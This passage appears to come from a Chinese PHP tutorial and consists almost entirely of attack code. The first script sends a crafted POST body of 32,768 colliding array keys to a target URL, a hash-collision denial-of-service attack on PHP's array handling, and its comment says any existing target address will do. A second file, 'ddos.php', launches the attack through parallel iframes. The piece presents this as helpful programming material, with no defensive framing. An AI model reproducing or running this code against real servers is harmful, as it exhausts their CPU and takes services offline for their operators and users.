// 目標地址 
// 只要目標地址存在，不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件：ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并發(fā)數(shù) 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述對大家的php程序設計有所幫助。

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